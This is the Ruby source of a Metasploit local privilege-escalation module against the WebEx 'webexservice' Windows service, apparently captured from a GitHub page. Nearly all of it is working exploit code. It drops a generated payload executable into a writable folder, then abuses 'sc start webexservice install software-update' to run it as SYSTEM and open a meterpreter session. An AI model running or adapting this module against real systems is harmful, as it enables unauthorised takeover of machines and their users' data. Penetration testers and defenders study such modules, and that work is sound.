Permalink
Cannot retrieve contributors at this time
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Local | |
Rank = GoodRanking | |
include Msf::Exploit::EXE | |
include Msf::Exploit::FileDropper | |
include Msf::Post::File | |
include Msf::Post::Windows::Priv | |
include Msf::Post::Windows::Services | |
include Msf::Post::Windows::Accounts | |
def initialize(info={}) | |
super( update_info( info, | |
'Name' => 'WebEx local service permissions exploit', | |
'Description' => %q{ | |
This module exploits a a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations. | |
}, | |
'References' => | |
[ | |
['URL', 'https://webexec.org'] | |
], | |
'DisclosureDate' => "Oct 09 2018", | |
'License' => MSF_LICENSE, | |
'Author' => | |
[ | |
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>' | |
], | |
'Platform' => [ 'win'], | |
'Targets' => | |
[ | |
[ 'Windows x86', { 'Arch' => ARCH_X86 } ], | |
[ 'Windows x64', { 'Arch' => ARCH_X64 } ] | |
], | |
'SessionTypes' => [ "meterpreter" ], | |
'DefaultOptions' => | |
{ | |
'EXITFUNC' => 'thread', | |
'WfsDelay' => 5, | |
'ReverseConnectRetries' => 255 | |
}, | |
'DefaultTarget' => 0 | |
)) | |
register_options([ | |
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"]) | |
]) | |
@service_name = 'webexservice' | |
end | |
def check_service_exists?(service) | |
srv_info = service_info(service) | |
if srv_info.nil? | |
vprint_warning("Unable to enumerate services.") | |
return false | |
end | |
if srv_info && srv_info[:display].empty? | |
vprint_warning("Service #{service} does not exist.") | |
return false | |
else | |
return true | |
end | |
end | |
def check | |
if !check_service_exists?(@service_name) | |
return Exploit::CheckCode::Safe | |
end | |
srv_info = service_info(@service_name) | |
vprint_status(srv_info.to_s) | |
case START_TYPE[srv_info[:starttype]] | |
when 'Disabled' | |
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") | |
return Exploit::CheckCode::Safe | |
when 'Manual' | |
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") | |
return Exploit::CheckCode::Safe | |
when 'Auto' | |
vprint_good("Service is set to Automatically start...") | |
end | |
if check_search_path | |
return Exploit::CheckCode::Safe | |
end | |
return Exploit::CheckCode::Appears | |
end | |
def check_write_access(path) | |
perm = check_dir_perms(path, @token) | |
if perm and perm.include?('W') | |
print_good("Write permissions in #{path} - #{perm}") | |
return true | |
elsif perm | |
vprint_status ("Permissions for #{path} - #{perm}") | |
else | |
vprint_status ("No permissions for #{path}") | |
end | |
return false | |
end | |
def exploit | |
begin | |
@token = get_imperstoken | |
rescue Rex::Post::Meterpreter::RequestError | |
vprint_error("Error while using get_imperstoken: #{e}") | |
end | |
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token | |
if is_system? | |
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.") | |
end | |
print_status("Checking service exists...") | |
if !check_service_exists?(@service_name) | |
fail_with(Failure::NoTarget, "The service doesn't exist.") | |
end | |
if is_uac_enabled? | |
print_warning("UAC is enabled, may get false negatives on writable folders.") | |
end | |
# Use manually selected Dir | |
file_path = datastore['DIR'] | |
@exe_file_name = Rex::Text.rand_text_alphanumeric(8) | |
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe" | |
service_information = service_info(@service_name) | |
# Check architecture | |
exe = generate_payload_exe | |
# | |
# Drop the malicious executable into the path | |
# | |
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...") | |
begin | |
write_file(@exe_file_path, exe) | |
register_file_for_cleanup(@exe_file_path) | |
rescue Rex::Post::Meterpreter::RequestError => e | |
# Can't write the file, can't go on | |
fail_with(Failure::Unknown, e.message) | |
end | |
# | |
# Run the service | |
# | |
print_status("Launching service...") | |
res = cmd_exec("cmd.exe", | |
"/c sc start webexservice install software-update 1 #{@exe_file_path}") | |
if service_restart(@service_name) | |
print_status("Service started...") | |
else | |
service_information = service_info(@service_name) | |
if service_information[:starttype] == START_TYPE_AUTO | |
if job_id | |
print_status("Unable to start service, handler running waiting for a reboot...") | |
while(true) | |
break if session_created? | |
select(nil,nil,nil,1) | |
end | |
else | |
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") | |
end | |
else | |
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") | |
end | |
end | |
end | |
end |